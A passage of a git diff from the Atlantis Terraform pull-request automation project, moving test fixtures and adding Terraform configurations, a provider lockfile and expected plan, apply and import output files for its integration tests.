"562e173be03b8ff2efb05345d12df18815438a4b", - "message": "Merge branch 'another-branch' into 'master'\n\nCheck in this test\n", + "message": "Merge branch 'another-branch' into 'main'\n\nCheck in this test\n", "timestamp": "2002-10-02T10:00:00-05:00", "url": "http://example.com/gitlab-org/gitlab-test/commit/562e173be03b8ff2efb05345d12df18815438a4b", "author": { @@ -112,4 +112,4 @@ "avatar_url": "http://www.gravatar.com/avatar/e64c7d89f26bd1972efa854d13d7dd61?s=40\u0026d=identicon" } } -} \ No newline at end of file +} diff --git a/server/controllers/events/testdata/null_provider_lockfile_old_version b/server/controllers/events/testdata/null_provider_lockfile_old_version new file mode 100644 index 0000000000..c4ebbc4fde --- /dev/null +++ b/server/controllers/events/testdata/null_provider_lockfile_old_version @@ -0,0 +1,25 @@ +# This file is maintained automatically by "terraform init". +# Manual edits may be lost in future updates. + +provider "registry.terraform.io/hashicorp/null" { + version = "3.2.3" + constraints = "3.2.3" + hashes = [ + "h1:+AnORRgFbRO6qqcfaQyeX80W0eX3VmjadjnUFUJTiXo=", + "h1:I0Um8UkrMUb81Fxq/dxbr3HLP2cecTH2WMJiwKSrwQY=", + "h1:nKUqWEza6Lcv3xRlzeiRQrHtqvzX1BhIzjaOVXRYQXQ=", + "h1:obXguGZUWtNAO09f1f9Cb7hsPCOGXuGdN8bn/ohKRBQ=", + "zh:22d062e5278d872fe7aed834f5577ba0a5afe34a3bdac2b81f828d8d3e6706d2", + "zh:23dead00493ad863729495dc212fd6c29b8293e707b055ce5ba21ee453ce552d", + "zh:28299accf21763ca1ca144d8f660688d7c2ad0b105b7202554ca60b02a3856d3", + "zh:55c9e8a9ac25a7652df8c51a8a9a422bd67d784061b1de2dc9fe6c3cb4e77f2f", + "zh:756586535d11698a216291c06b9ed8a5cc6a4ec43eee1ee09ecd5c6a9e297ac1", + "zh:78d5eefdd9e494defcb3c68d282b8f96630502cac21d1ea161f53cfe9bb483b3", + "zh:9d5eea62fdb587eeb96a8c4d782459f4e6b73baeece4d04b4a40e44faaee9301", + "zh:a6355f596a3fb8fc85c2fb054ab14e722991533f87f928e7169a486462c74670", + "zh:b5a65a789cff4ada58a5baffc76cb9767dc26ec6b45c00d2ec8b1b027f6db4ed", + "zh:db5ab669cf11d0e9f81dc380a6fdfcac437aea3d69109c7aef1a5426639d2d65", + "zh:de655d251c470197bcbb5ac45d289595295acb8f829f6c781d4a75c8c8b7c7dd", + "zh:f5c68199f2e6076bce92a12230434782bf768103a427e9bb9abee99b116af7b5", + ] +} diff --git a/server/testfixtures/test-repos/automerge/atlantis.yaml b/server/controllers/events/testdata/test-repos/automerge/atlantis.yaml similarity index 100% rename from server/testfixtures/test-repos/automerge/atlantis.yaml rename to server/controllers/events/testdata/test-repos/automerge/atlantis.yaml diff --git a/server/testfixtures/test-repos/automerge/dir1/main.tf b/server/controllers/events/testdata/test-repos/automerge/dir1/main.tf similarity index 100% rename from server/testfixtures/test-repos/automerge/dir1/main.tf rename to server/controllers/events/testdata/test-repos/automerge/dir1/main.tf diff --git a/server/controllers/events/testdata/test-repos/automerge/dir1/versions.tf b/server/controllers/events/testdata/test-repos/automerge/dir1/versions.tf new file mode 100644 index 0000000000..1516ade483 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/automerge/dir1/versions.tf @@ -0,0 +1,8 @@ +terraform { + required_providers { + null = { + source = "hashicorp/null" + version = "3.2.4" + } + } +} diff --git a/server/testfixtures/test-repos/automerge/dir2/main.tf b/server/controllers/events/testdata/test-repos/automerge/dir2/main.tf similarity index 100% rename from server/testfixtures/test-repos/automerge/dir2/main.tf rename to server/controllers/events/testdata/test-repos/automerge/dir2/main.tf diff --git a/server/controllers/events/testdata/test-repos/automerge/dir2/versions.tf b/server/controllers/events/testdata/test-repos/automerge/dir2/versions.tf new file mode 100644 index 0000000000..1516ade483 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/automerge/dir2/versions.tf @@ -0,0 +1,8 @@ +terraform { + required_providers { + null = { + source = "hashicorp/null" + version = "3.2.4" + } + } +} diff --git a/server/controllers/events/testdata/test-repos/automerge/exp-output-apply-dir1.txt b/server/controllers/events/testdata/test-repos/automerge/exp-output-apply-dir1.txt new file mode 100644 index 0000000000..763907cec1 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/automerge/exp-output-apply-dir1.txt @@ -0,0 +1,8 @@ +Ran Apply for dir: `dir1` workspace: `default` + +```diff +null_resource.automerge[0]: Creating... +null_resource.automerge[0]: Creation complete after *s [id=*******************] + +Apply complete! Resources: 1 added, 0 changed, 0 destroyed. +``` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/automerge/exp-output-apply-dir2.txt b/server/controllers/events/testdata/test-repos/automerge/exp-output-apply-dir2.txt new file mode 100644 index 0000000000..a49057355e --- /dev/null +++ b/server/controllers/events/testdata/test-repos/automerge/exp-output-apply-dir2.txt @@ -0,0 +1,8 @@ +Ran Apply for dir: `dir2` workspace: `default` + +```diff +null_resource.automerge[0]: Creating... +null_resource.automerge[0]: Creation complete after *s [id=*******************] + +Apply complete! Resources: 1 added, 0 changed, 0 destroyed. +``` \ No newline at end of file diff --git a/server/testfixtures/test-repos/automerge/exp-output-automerge.txt b/server/controllers/events/testdata/test-repos/automerge/exp-output-automerge.txt similarity index 100% rename from server/testfixtures/test-repos/automerge/exp-output-automerge.txt rename to server/controllers/events/testdata/test-repos/automerge/exp-output-automerge.txt diff --git a/server/controllers/events/testdata/test-repos/automerge/exp-output-autoplan.txt b/server/controllers/events/testdata/test-repos/automerge/exp-output-autoplan.txt new file mode 100644 index 0000000000..8f32ac5efc --- /dev/null +++ b/server/controllers/events/testdata/test-repos/automerge/exp-output-autoplan.txt @@ -0,0 +1,72 @@ +Ran Plan for 2 projects: + +1. dir: `dir1` workspace: `default` +1. dir: `dir2` workspace: `default` +--- + +### 1. dir: `dir1` workspace: `default` +```diff +Terraform used the selected providers to generate the following execution +plan. Resource actions are indicated with the following symbols: ++ create + +Terraform will perform the following actions: + + # null_resource.automerge[0] will be created ++ resource "null_resource" "automerge" { + + id = (known after apply) + } + +Plan: 1 to add, 0 to change, 0 to destroy. +``` + +* :arrow_forward: To **apply** this plan, comment: + ```shell + atlantis apply -d dir1 + ``` +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -d dir1 + ``` + +--- +### 2. dir: `dir2` workspace: `default` +```diff +Terraform used the selected providers to generate the following execution +plan. Resource actions are indicated with the following symbols: ++ create + +Terraform will perform the following actions: + + # null_resource.automerge[0] will be created ++ resource "null_resource" "automerge" { + + id = (known after apply) + } + +Plan: 1 to add, 0 to change, 0 to destroy. +``` + +* :arrow_forward: To **apply** this plan, comment: + ```shell + atlantis apply -d dir2 + ``` +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -d dir2 + ``` + +--- +### Plan Summary + +2 projects, 2 with changes, 0 with no changes, 0 failed + +* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: + ```shell + atlantis apply + ``` +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + ```shell + atlantis unlock + ``` \ No newline at end of file diff --git a/server/testfixtures/test-repos/automerge/exp-output-merge.txt b/server/controllers/events/testdata/test-repos/automerge/exp-output-merge.txt similarity index 100% rename from server/testfixtures/test-repos/automerge/exp-output-merge.txt rename to server/controllers/events/testdata/test-repos/automerge/exp-output-merge.txt diff --git a/server/controllers/events/testdata/test-repos/import-multiple-project/atlantis.yaml b/server/controllers/events/testdata/test-repos/import-multiple-project/atlantis.yaml new file mode 100644 index 0000000000..006db31ba5 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/import-multiple-project/atlantis.yaml @@ -0,0 +1,4 @@ +version: 3 +projects: +- dir: dir1 +- dir: dir2 diff --git a/server/controllers/events/testdata/test-repos/import-multiple-project/dir1/main.tf b/server/controllers/events/testdata/test-repos/import-multiple-project/dir1/main.tf new file mode 100644 index 0000000000..231579dd90 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/import-multiple-project/dir1/main.tf @@ -0,0 +1,3 @@ +resource "random_id" "dummy1" { + byte_length = 1 +} diff --git a/server/controllers/events/testdata/test-repos/import-multiple-project/dir1/versions.tf b/server/controllers/events/testdata/test-repos/import-multiple-project/dir1/versions.tf new file mode 100644 index 0000000000..1033bda831 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/import-multiple-project/dir1/versions.tf @@ -0,0 +1,9 @@ +provider "random" {} +terraform { + required_providers { + random = { + source = "hashicorp/random" + version = "3.7.2" + } + } +} diff --git a/server/controllers/events/testdata/test-repos/import-multiple-project/dir2/main.tf b/server/controllers/events/testdata/test-repos/import-multiple-project/dir2/main.tf new file mode 100644 index 0000000000..97f93c35e1 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/import-multiple-project/dir2/main.tf @@ -0,0 +1,3 @@ +resource "random_id" "dummy2" { + byte_length = 1 +} diff --git a/server/controllers/events/testdata/test-repos/import-multiple-project/dir2/versions.tf b/server/controllers/events/testdata/test-repos/import-multiple-project/dir2/versions.tf new file mode 100644 index 0000000000..1033bda831 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/import-multiple-project/dir2/versions.tf @@ -0,0 +1,9 @@ +provider "random" {} +terraform { + required_providers { + random = { + source = "hashicorp/random" + version = "3.7.2" + } + } +} diff --git a/server/controllers/events/testdata/test-repos/import-multiple-project/exp-output-autoplan.txt b/server/controllers/events/testdata/test-repos/import-multiple-project/exp-output-autoplan.txt new file mode 100644 index 0000000000..d49fde3e8f --- /dev/null +++ b/server/controllers/events/testdata/test-repos/import-multiple-project/exp-output-autoplan.txt @@ -0,0 +1,90 @@ +Ran Plan for 2 projects: + +1. dir: `dir1` workspace: `default` +1. dir: `dir2` workspace: `default` +--- + +### 1. dir: `dir1` workspace: `default` +
Show Output + +```diff +Terraform used the selected providers to generate the following execution +plan. Resource actions are indicated with the following symbols: ++ create + +Terraform will perform the following actions: + + # random_id.dummy1 will be created ++ resource "random_id" "dummy1" { + + b64_std = (known after apply) + + b64_url = (known after apply) + + byte_length = 1 + + dec = (known after apply) + + hex = (known after apply) + + id = (known after apply) + } + +Plan: 1 to add, 0 to change, 0 to destroy. +``` +
+ +* :arrow_forward: To **apply** this plan, comment: + ```shell + atlantis apply -d dir1 + ``` +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -d dir1 + ``` +Plan: 1 to add, 0 to change, 0 to destroy. + +--- +### 2. dir: `dir2` workspace: `default` +
Show Output + +```diff +Terraform used the selected providers to generate the following execution +plan. Resource actions are indicated with the following symbols: ++ create + +Terraform will perform the following actions: + + # random_id.dummy2 will be created ++ resource "random_id" "dummy2" { + + b64_std = (known after apply) + + b64_url = (known after apply) + + byte_length = 1 + + dec = (known after apply) + + hex = (known after apply) + + id = (known after apply) + } + +Plan: 1 to add, 0 to change, 0 to destroy. +``` +
+ +* :arrow_forward: To **apply** this plan, comment: + ```shell + atlantis apply -d dir2 + ``` +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -d dir2 + ``` +Plan: 1 to add, 0 to change, 0 to destroy. + +--- +### Plan Summary + +2 projects, 2 with changes, 0 with no changes, 0 failed + +* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: + ```shell + atlantis apply + ``` +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + ```shell + atlantis unlock + ``` diff --git a/server/controllers/events/testdata/test-repos/import-multiple-project/exp-output-import-dummy1.txt b/server/controllers/events/testdata/test-repos/import-multiple-project/exp-output-import-dummy1.txt new file mode 100644 index 0000000000..0e6c0c960c --- /dev/null +++ b/server/controllers/events/testdata/test-repos/import-multiple-project/exp-output-import-dummy1.txt @@ -0,0 +1,20 @@ +Ran Import for dir: `dir1` workspace: `default` + +```diff +random_id.dummy1: Importing from ID "AA"... +random_id.dummy1: Import prepared! + Prepared random_id for import +random_id.dummy1: Refreshing state... [id=AA] + +Import successful! + +The resources that were imported are shown above. These resources are now in +your Terraform state and will henceforth be managed by Terraform. +``` + +:put_litter_in_its_place: A plan file was discarded. Re-plan would be required before applying. + +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -d dir1 + ``` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/import-multiple-project/exp-output-import-multiple-projects.txt b/server/controllers/events/testdata/test-repos/import-multiple-project/exp-output-import-multiple-projects.txt new file mode 100644 index 0000000000..023af68ffe --- /dev/null +++ b/server/controllers/events/testdata/test-repos/import-multiple-project/exp-output-import-multiple-projects.txt @@ -0,0 +1 @@ +**Import Failed**: import cannot run on multiple projects. please specify one project. diff --git a/server/controllers/events/testdata/test-repos/import-multiple-project/exp-output-merge.txt b/server/controllers/events/testdata/test-repos/import-multiple-project/exp-output-merge.txt new file mode 100644 index 0000000000..9228a63148 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/import-multiple-project/exp-output-merge.txt @@ -0,0 +1,4 @@ +Locks and plans deleted for the projects and workspaces modified in this pull request: + +- dir: `dir1` workspace: `default` +- dir: `dir2` workspace: `default` diff --git a/server/controllers/events/testdata/test-repos/import-multiple-project/exp-output-plan-again.txt b/server/controllers/events/testdata/test-repos/import-multiple-project/exp-output-plan-again.txt new file mode 100644 index 0000000000..f94c8567ed --- /dev/null +++ b/server/controllers/events/testdata/test-repos/import-multiple-project/exp-output-plan-again.txt @@ -0,0 +1,75 @@ +Ran Plan for 2 projects: + +1. dir: `dir1` workspace: `default` +1. dir: `dir2` workspace: `default` +--- + +### 1. dir: `dir1` workspace: `default` +```diff +random_id.dummy1: Refreshing state... [id=AA] + +No changes. Your infrastructure matches the configuration. + +Terraform has compared your real infrastructure against your configuration +and found no differences, so no changes are needed. +``` + +* :arrow_forward: To **apply** this plan, comment: + ```shell + atlantis apply -d dir1 + ``` +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -d dir1 + ``` + +--- +### 2. dir: `dir2` workspace: `default` +
Show Output + +```diff +Terraform used the selected providers to generate the following execution +plan. Resource actions are indicated with the following symbols: ++ create + +Terraform will perform the following actions: + + # random_id.dummy2 will be created ++ resource "random_id" "dummy2" { + + b64_std = (known after apply) + + b64_url = (known after apply) + + byte_length = 1 + + dec = (known after apply) + + hex = (known after apply) + + id = (known after apply) + } + +Plan: 1 to add, 0 to change, 0 to destroy. +``` +
+ +* :arrow_forward: To **apply** this plan, comment: + ```shell + atlantis apply -d dir2 + ``` +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -d dir2 + ``` +Plan: 1 to add, 0 to change, 0 to destroy. + +--- +### Plan Summary + +2 projects, 1 with changes, 1 with no changes, 0 failed + +* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: + ```shell + atlantis apply + ``` +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + ```shell + atlantis unlock + ``` diff --git a/server/controllers/events/testdata/test-repos/import-single-project-var/exp-output-autoplan.txt b/server/controllers/events/testdata/test-repos/import-single-project-var/exp-output-autoplan.txt new file mode 100644 index 0000000000..ddcccae10a --- /dev/null +++ b/server/controllers/events/testdata/test-repos/import-single-project-var/exp-output-autoplan.txt @@ -0,0 +1,55 @@ +Ran Plan for dir: `.` workspace: `default` + +
Show Output + +```diff +Terraform used the selected providers to generate the following execution +plan. Resource actions are indicated with the following symbols: ++ create + +Terraform will perform the following actions: + + # random_id.count[0] will be created ++ resource "random_id" "count" { + + b64_std = (known after apply) + + b64_url = (known after apply) + + byte_length = 1 + + dec = (known after apply) + + hex = (known after apply) + + id = (known after apply) + } + + # random_id.for_each["default"] will be created ++ resource "random_id" "for_each" { + + b64_std = (known after apply) + + b64_url = (known after apply) + + byte_length = 1 + + dec = (known after apply) + + hex = (known after apply) + + id = (known after apply) + } + +Plan: 2 to add, 0 to change, 0 to destroy. +``` +
+ +* :arrow_forward: To **apply** this plan, comment: + ```shell + atlantis apply -d . + ``` +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -d . + ``` +Plan: 2 to add, 0 to change, 0 to destroy. + +--- +* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: + ```shell + atlantis apply + ``` +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + ```shell + atlantis unlock + ``` diff --git a/server/controllers/events/testdata/test-repos/import-single-project-var/exp-output-import-count.txt b/server/controllers/events/testdata/test-repos/import-single-project-var/exp-output-import-count.txt new file mode 100644 index 0000000000..32680f595f --- /dev/null +++ b/server/controllers/events/testdata/test-repos/import-single-project-var/exp-output-import-count.txt @@ -0,0 +1,20 @@ +Ran Import for dir: `.` workspace: `default` + +```diff +random_id.count[0]: Importing from ID "BB"... +random_id.count[0]: Import prepared! + Prepared random_id for import +random_id.count[0]: Refreshing state... [id=BB] + +Import successful! + +The resources that were imported are shown above. These resources are now in +your Terraform state and will henceforth be managed by Terraform. +``` + +:put_litter_in_its_place: A plan file was discarded. Re-plan would be required before applying. + +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -d . + ``` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/import-single-project-var/exp-output-import-foreach.txt b/server/controllers/events/testdata/test-repos/import-single-project-var/exp-output-import-foreach.txt new file mode 100644 index 0000000000..1e1caabfca --- /dev/null +++ b/server/controllers/events/testdata/test-repos/import-single-project-var/exp-output-import-foreach.txt @@ -0,0 +1,20 @@ +Ran Import for dir: `.` workspace: `default` + +```diff +random_id.for_each["overridden"]: Importing from ID "AA"... +random_id.for_each["overridden"]: Import prepared! + Prepared random_id for import +random_id.for_each["overridden"]: Refreshing state... [id=AA] + +Import successful! + +The resources that were imported are shown above. These resources are now in +your Terraform state and will henceforth be managed by Terraform. +``` + +:put_litter_in_its_place: A plan file was discarded. Re-plan would be required before applying. + +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -d . + ``` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/import-single-project-var/exp-output-merge.txt b/server/controllers/events/testdata/test-repos/import-single-project-var/exp-output-merge.txt new file mode 100644 index 0000000000..872c5ee40c --- /dev/null +++ b/server/controllers/events/testdata/test-repos/import-single-project-var/exp-output-merge.txt @@ -0,0 +1,3 @@ +Locks and plans deleted for the projects and workspaces modified in this pull request: + +- dir: `.` workspace: `default` diff --git a/server/controllers/events/testdata/test-repos/import-single-project-var/exp-output-plan-again.txt b/server/controllers/events/testdata/test-repos/import-single-project-var/exp-output-plan-again.txt new file mode 100644 index 0000000000..379d9e8ce7 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/import-single-project-var/exp-output-plan-again.txt @@ -0,0 +1,28 @@ +Ran Plan for dir: `.` workspace: `default` + +```diff +No changes. Your infrastructure matches the configuration. + +Terraform has compared your real infrastructure against your configuration +and found no differences, so no changes are needed. +``` + +* :arrow_forward: To **apply** this plan, comment: + ```shell + atlantis apply -d . + ``` +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -d . -- -var var=overridden + ``` + +--- +* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: + ```shell + atlantis apply + ``` +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + ```shell + atlantis unlock + ``` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/import-single-project-var/main.tf b/server/controllers/events/testdata/test-repos/import-single-project-var/main.tf new file mode 100644 index 0000000000..082a9534c0 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/import-single-project-var/main.tf @@ -0,0 +1,13 @@ +resource "random_id" "for_each" { + for_each = toset([var.var]) + byte_length = 1 +} + +resource "random_id" "count" { + count = 1 + byte_length = 1 +} + +variable "var" { + default = "default" +} diff --git a/server/controllers/events/testdata/test-repos/import-single-project-var/versions.tf b/server/controllers/events/testdata/test-repos/import-single-project-var/versions.tf new file mode 100644 index 0000000000..1033bda831 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/import-single-project-var/versions.tf @@ -0,0 +1,9 @@ +provider "random" {} +terraform { + required_providers { + random = { + source = "hashicorp/random" + version = "3.7.2" + } + } +} diff --git a/server/controllers/events/testdata/test-repos/import-single-project/exp-output-apply-no-projects.txt b/server/controllers/events/testdata/test-repos/import-single-project/exp-output-apply-no-projects.txt new file mode 100644 index 0000000000..937b692ba9 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/import-single-project/exp-output-apply-no-projects.txt @@ -0,0 +1 @@ +Ran Apply for 0 projects: \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/import-single-project/exp-output-autoplan.txt b/server/controllers/events/testdata/test-repos/import-single-project/exp-output-autoplan.txt new file mode 100644 index 0000000000..9c9fa29474 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/import-single-project/exp-output-autoplan.txt @@ -0,0 +1,55 @@ +Ran Plan for dir: `.` workspace: `default` + +
Show Output + +```diff +Terraform used the selected providers to generate the following execution +plan. Resource actions are indicated with the following symbols: ++ create + +Terraform will perform the following actions: + + # random_id.dummy1 will be created ++ resource "random_id" "dummy1" { + + b64_std = (known after apply) + + b64_url = (known after apply) + + byte_length = 1 + + dec = (known after apply) + + hex = (known after apply) + + id = (known after apply) + } + + # random_id.dummy2 will be created ++ resource "random_id" "dummy2" { + + b64_std = (known after apply) + + b64_url = (known after apply) + + byte_length = 1 + + dec = (known after apply) + + hex = (known after apply) + + id = (known after apply) + } + +Plan: 2 to add, 0 to change, 0 to destroy. +``` +
+ +* :arrow_forward: To **apply** this plan, comment: + ```shell + atlantis apply -d . + ``` +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -d . + ``` +Plan: 2 to add, 0 to change, 0 to destroy. + +--- +* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: + ```shell + atlantis apply + ``` +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + ```shell + atlantis unlock + ``` diff --git a/server/controllers/events/testdata/test-repos/import-single-project/exp-output-import-dummy1.txt b/server/controllers/events/testdata/test-repos/import-single-project/exp-output-import-dummy1.txt new file mode 100644 index 0000000000..f4a6cb37d9 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/import-single-project/exp-output-import-dummy1.txt @@ -0,0 +1,20 @@ +Ran Import for dir: `.` workspace: `default` + +```diff +random_id.dummy1: Importing from ID "AA"... +random_id.dummy1: Import prepared! + Prepared random_id for import +random_id.dummy1: Refreshing state... [id=AA] + +Import successful! + +The resources that were imported are shown above. These resources are now in +your Terraform state and will henceforth be managed by Terraform. +``` + +:put_litter_in_its_place: A plan file was discarded. Re-plan would be required before applying. + +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -d . + ``` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/import-single-project/exp-output-import-dummy2.txt b/server/controllers/events/testdata/test-repos/import-single-project/exp-output-import-dummy2.txt new file mode 100644 index 0000000000..9ab2dbb7e3 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/import-single-project/exp-output-import-dummy2.txt @@ -0,0 +1,20 @@ +Ran Import for dir: `.` workspace: `default` + +```diff +random_id.dummy2: Importing from ID "BB"... +random_id.dummy2: Import prepared! + Prepared random_id for import +random_id.dummy2: Refreshing state... [id=BB] + +Import successful! + +The resources that were imported are shown above. These resources are now in +your Terraform state and will henceforth be managed by Terraform. +``` + +:put_litter_in_its_place: A plan file was discarded. Re-plan would be required before applying. + +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -d . + ``` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/import-single-project/exp-output-merge.txt b/server/controllers/events/testdata/test-repos/import-single-project/exp-output-merge.txt new file mode 100644 index 0000000000..872c5ee40c --- /dev/null +++ b/server/controllers/events/testdata/test-repos/import-single-project/exp-output-merge.txt @@ -0,0 +1,3 @@ +Locks and plans deleted for the projects and workspaces modified in this pull request: + +- dir: `.` workspace: `default` diff --git a/server/controllers/events/testdata/test-repos/import-single-project/exp-output-plan-again.txt b/server/controllers/events/testdata/test-repos/import-single-project/exp-output-plan-again.txt new file mode 100644 index 0000000000..a7268e38f8 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/import-single-project/exp-output-plan-again.txt @@ -0,0 +1,28 @@ +Ran Plan for dir: `.` workspace: `default` + +```diff +No changes. Your infrastructure matches the configuration. + +Terraform has compared your real infrastructure against your configuration +and found no differences, so no changes are needed. +``` + +* :arrow_forward: To **apply** this plan, comment: + ```shell + atlantis apply -d . + ``` +* :put_litter_in_its_place: To **delete** this plan and lock, click [here](lock-url) +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -d . + ``` + +--- +* :fast_forward: To **apply** all unapplied plans from this Pull Request, comment: + ```shell + atlantis apply + ``` +* :put_litter_in_its_place: To **delete** all plans and locks from this Pull Request, comment: + ```shell + atlantis unlock + ``` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/import-single-project/main.tf b/server/controllers/events/testdata/test-repos/import-single-project/main.tf new file mode 100644 index 0000000000..0a1884fe5e --- /dev/null +++ b/server/controllers/events/testdata/test-repos/import-single-project/main.tf @@ -0,0 +1,7 @@ +resource "random_id" "dummy1" { + byte_length = 1 +} + +resource "random_id" "dummy2" { + byte_length = 1 +} diff --git a/server/controllers/events/testdata/test-repos/import-single-project/versions.tf b/server/controllers/events/testdata/test-repos/import-single-project/versions.tf new file mode 100644 index 0000000000..1033bda831 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/import-single-project/versions.tf @@ -0,0 +1,9 @@ +provider "random" {} +terraform { + required_providers { + random = { + source = "hashicorp/random" + version = "3.7.2" + } + } +} diff --git a/server/controllers/events/testdata/test-repos/import-workspace/atlantis.yaml b/server/controllers/events/testdata/test-repos/import-workspace/atlantis.yaml new file mode 100644 index 0000000000..f70f4da796 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/import-workspace/atlantis.yaml @@ -0,0 +1,5 @@ +version: 3 +projects: +- name: dir1-ops + dir: dir1 + workspace: ops diff --git a/server/controllers/events/testdata/test-repos/import-workspace/dir1/main.tf b/server/controllers/events/testdata/test-repos/import-workspace/dir1/main.tf new file mode 100644 index 0000000000..0bc18fe1e3 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/import-workspace/dir1/main.tf @@ -0,0 +1,15 @@ +resource "random_id" "dummy1" { + count = terraform.workspace == "ops" ? 1 : 0 + + byte_length = 1 +} + +resource "random_id" "dummy2" { + count = terraform.workspace == "ops" ? 1 : 0 + + byte_length = 1 +} + +output "workspace" { + value = terraform.workspace +} diff --git a/server/controllers/events/testdata/test-repos/import-workspace/dir1/versions.tf b/server/controllers/events/testdata/test-repos/import-workspace/dir1/versions.tf new file mode 100644 index 0000000000..1033bda831 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/import-workspace/dir1/versions.tf @@ -0,0 +1,9 @@ +provider "random" {} +terraform { + required_providers { + random = { + source = "hashicorp/random" + version = "3.7.2" + } + } +} diff --git a/server/controllers/events/testdata/test-repos/import-workspace/exp-output-import-dir1-ops-dummy1.txt b/server/controllers/events/testdata/test-repos/import-workspace/exp-output-import-dir1-ops-dummy1.txt new file mode 100644 index 0000000000..38f283b20e --- /dev/null +++ b/server/controllers/events/testdata/test-repos/import-workspace/exp-output-import-dir1-ops-dummy1.txt @@ -0,0 +1,20 @@ +Ran Import for project: `dir1-ops` dir: `dir1` workspace: `ops` + +```diff +random_id.dummy1[0]: Importing from ID "AA"... +random_id.dummy1[0]: Import prepared! + Prepared random_id for import +random_id.dummy1[0]: Refreshing state... [id=AA] + +Import successful! + +The resources that were imported are shown above. These resources are now in +your Terraform state and will henceforth be managed by Terraform. +``` + +:put_litter_in_its_place: A plan file was discarded. Re-plan would be required before applying. + +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -p dir1-ops + ``` diff --git a/server/controllers/events/testdata/test-repos/import-workspace/exp-output-import-dir1-ops-dummy2.txt b/server/controllers/events/testdata/test-repos/import-workspace/exp-output-import-dir1-ops-dummy2.txt new file mode 100644 index 0000000000..cd4659c0b7 --- /dev/null +++ b/server/controllers/events/testdata/test-repos/import-workspace/exp-output-import-dir1-ops-dummy2.txt @@ -0,0 +1,20 @@ +Ran Import for project: `dir1-ops` dir: `dir1` workspace: `ops` + +```diff +random_id.dummy2[0]: Importing from ID "BB"... +random_id.dummy2[0]: Import prepared! + Prepared random_id for import +random_id.dummy2[0]: Refreshing state... [id=BB] + +Import successful! + +The resources that were imported are shown above. These resources are now in +your Terraform state and will henceforth be managed by Terraform. +``` + +:put_litter_in_its_place: A plan file was discarded. Re-plan would be required before applying. + +* :repeat: To **plan** this project again, comment: + ```shell + atlantis plan -p dir1-ops + ``` diff --git a/server/controllers/events/testdata/test-repos/import-workspace/exp-output-merge.txt b/server/controllers/events/testdata/test-repos/import-workspace/exp-output-merge.txt new file mode 100644 index 0000000000..c08de93b1a --- /dev/null +++ b/server/controllers/events/testdata/test-repos/import-workspace/exp-output-merge.txt @@ -0,0 +1,3 @@ +Locks and plans deleted for the projects and workspaces modified in this pull request: + +- dir: `dir1` workspace: `ops` \ No newline at end of file diff --git a/server/controllers/events/testdata/test-repos/import-workspace/exp-output-plan.txt b/server/controllers/events/testdata/test-repos/import-workspace/exp-output-plan.txt new file mode 100644 index 0000000000..7edca86268 --- /dev/null +++ 